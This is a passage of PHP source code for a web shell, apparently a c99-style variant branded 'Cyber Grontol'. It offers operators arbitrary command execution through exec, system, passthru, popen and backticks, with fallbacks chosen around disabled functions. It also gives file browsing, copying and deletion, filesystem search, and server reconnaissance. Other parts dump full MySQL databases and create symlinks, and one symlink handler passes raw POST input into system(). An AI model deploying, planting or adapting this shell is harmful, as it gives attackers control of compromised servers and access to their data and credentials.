if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB"; } else {
$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o); } else {
$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);
} else {
return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o); } else {
if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d); } else {
unlink($t); return FALSE;}
} else {
return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o); } else {
fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);
} else { return FALSE;}
}
}
if (!function_exists("o2xdaexec"))
{
function o2xdaexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $O2XDAVer;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by Cyber Grontol
# Home page: http://cybergrontol.com
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror(); } else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";
";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------
";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2; } else {
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);
} else {
$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);
} else {
$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "<table border=0><tr><td><form name=\"TuX_sqlquery\" method=POST>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":<br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=xtux value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
if ($tbl_struct)
{
echo "<td valign=\"top\">Fields:<br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.TuX_sqlquery.sql_query.value+='`".$name."`';\">".$name."</a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);
} else {
return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
$query = trim($query);
$arr = explode (" ",$query);
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == "LIMIT")
{
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
} else {
return FALSE;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {c99fsearch($d.$f);}
} else {
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r); } else {
$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
} else {
$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($xtux == "gofile") {if (is_dir($f)) {$xtux = "ls"; $d = $f;} else {$xtux = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function TuXexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir; } else {
$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>Activated</font>"; } else {
$safemode = FALSE; $hsafemode = "<font color=green>Deactivated</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";
} else {
$openbasedir = FALSE; $hopenbasedir = "<font color=green>Deactivated</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."xtux=phpinfo\" target=\"_blank\">PHP/".phpversion()."</a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($xtuxbox)) {$xtuxbox = array();}
$dspact = $xtux = htmlspecialchars($xtux);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<meta http-equiv="Content-Language" content="en-us">
<title><< back | <?php echo getenv("HTTP_HOST"); ?> -</title>
<STYLE>
TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana; }
body { scrollbar-face-color: #009900; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00;
scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #009900; scrollbar-track-color: #101010;
scrollbar-arrow-color: #101010; background:url(http://www.blackhat.com/images/body-bg.png) no-repeat; background-color: #000000; font-family:Arial, Helvetica, sans-serif; }
TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: transparent; COLOR: green; font-family:Arial, Helvetica, sans-serif;}
A { font-weight: normal; COLOR: #ff6600; font-family:Arial, Helvetica, sans-serif; TEXT-DECORATION: none;}
A:unknown { FONT-WEIGHT: normal; COLOR: #ff6600; FONT-FAMILY: verdana; TEXT-DECORATION: none;}
A.Links { COLOR: #ff6600; TEXT-DECORATION: none;}
A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ff6600; TEXT-DECORATION: none;}
A:hover { COLOR: #990000; TEXT-DECORATION: bold;}
.skin0 { position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}
.skin1 { cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface; visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}
.menuitems { padding-left:15px; padding-right:10px;}
input { background-color: transparent; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
textarea { background-color: transparent; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
button { background-color: #990000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
select { background-color: #990000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
option { background-color: #990000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
iframe { background-color: #990000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
p { MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150% }
blockquote { font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #009900; padding: 1em;
margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: transparent; }
body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px; }
#dragon { position:absolute; z-index:99; top:-1px; right:20px; }
#footer { text-align:center; color:#990000; font-size:8px; text-transform:uppercase; letter-spacing:.15em; }
</style></head>
<BODY text=#99000 bottomMargin=0 bgColor=transparent leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#990000 cellPadding=5 width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1px dotted #990000>
<tr><th width="127" height="95" nowrap valign="top" colspan="2"><p><center><img src="http://www.blackhat.com/images/head-bg.png"></p></center>
<div id="dragon"><img src="http://i51.tinypic.com/24xp7av.png" alt="" /></div>
</th></tr>
<tr><td>
<p align="left"><? echo date ("d-m-Y H:i:s")." "; ?></p>
<p align="left">Software: <?php echo $DISP_SERVER_SOFTWARE; ?> / <?php echo get_status(); ?></p>
<p align="left">uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?> </p>
<p align="left"><?php if (!$win) {echo wordwrap(o2xdaexec("id"),90,"<br>",1); } else { echo get_current_user();} ?> </p>
<p align="left">safe_mode: <?php echo $hsafemode; ?></p>
<p align="left"><?php
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo "<a href=\"".$surl."xtux=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>";
$i++;
}
echo " ";
if (is_writable($d))
{
$wd = TRUE;
$wdt = "<font color=green>[ OK ]</font>";
echo "<font color=green>".view_perms(fileperms($d))."</font>"; } else {
$wd = FALSE;
$wdt = "<font color=red>[ Read Only ]</font>";
echo "".view_perms_color($d)."";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo "<br />Filesystem Mounted: ".view_size($free)." of ".view_size($total)." (".$free_percent."%)";
}
echo "";
echo "<br/>ifconfig : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a>";
$letters = "";
if ($win)
{
$v = explode("\",$d);
$v = $v[0];
foreach (range("a","z") as $letter)
{
$bool = $isdiskette = in_array($letter,$safemode_diskettes);
if (!$bool) {$bool = is_dir($letter.":\");}
if ($bool)
{
$letters .= "<a href=\"".$surl."xtux=ls&d=".urlencode($letter.":\")."\"".($isdiskette?" onclick=\"return confirm('Make sure this is correct.')\"":"").">[ ";
if ($letter.":" != $v) {$letters .= $letter; } else {
$letters .= "<font color=green>".$letter."</font>";}
$letters .= " ]</a> ";
}
}
if (!empty($letters)) {echo "Detected drives: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a> | ";
}
}
echo "</p></td></tr></table>";
if ((!empty($donated_html)) and (in_array($xtux,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=1 borderColorDark=#990000 cellPadding=3 width=\"95%\" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td width=\"95%\" valign=\"top\">".$donated_html."</td></tr></table>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=1 borderColorDark=#990000 cellPadding=2 width=\"95%\" bgcolor= transparent borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($xtux == "") {$xtux = $dspact = "ls";}
if ($xtux == "symlink") {
echo $ndas.''.$end;exit; }
if ($_POST['ad1syp'] && $_POST['ad2syp']){
if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){
print("<blink>Symlink Worked !</blink>");
}else{
print("Symlink Not Worked !");
}}
if ($_POST['ad1syc'] && $_POST['ad2syc']){
if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){
print("<blink>Symlink Worked !</blink>");
}else{
print("Symlink Not Worked !");}
}
if ($act == "sql") {
$sql_surl = $surl."act=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
?><h3>Welcome to SQL Manager.</h3>
<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#990000 cellPadding=5 width="100%" bgcolor=transparent borderColorLight=#c0c0c0 border=1 bordercolor="#990000"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
} else {
$sql_sock = FALSE;}
echo "SQL Manager <br />";
if (!$sql_sock)
{
if (!$sql_server) {echo "NO CONNECTION";} else {
echo "<center>Can't connect</center>"; echo "".$err."";}
} else {
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
$sqlquicklaunch[] = array("Logout",$surl."act=sql");
echo "<center>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</center>";
}
echo "</td></tr><tr>";
if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost<li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> Please, fill the form:<table><tr><td>Username</td><td>Password </td><td>Database </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td>Host</td><td>PORT</td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php
} else {
//Start left panel
if (!empty($sql_db))
{
?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>">Home</a><hr size="1" noshade><?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror(); } else {
echo "---[ <a href=\"".$sql_surl."&\">".htmlspecialchars($sql_db)."</a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a> (".$count_row[0].")</br>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
} else {
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>">Home</a><hr size="1" noshade><?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();
} else {
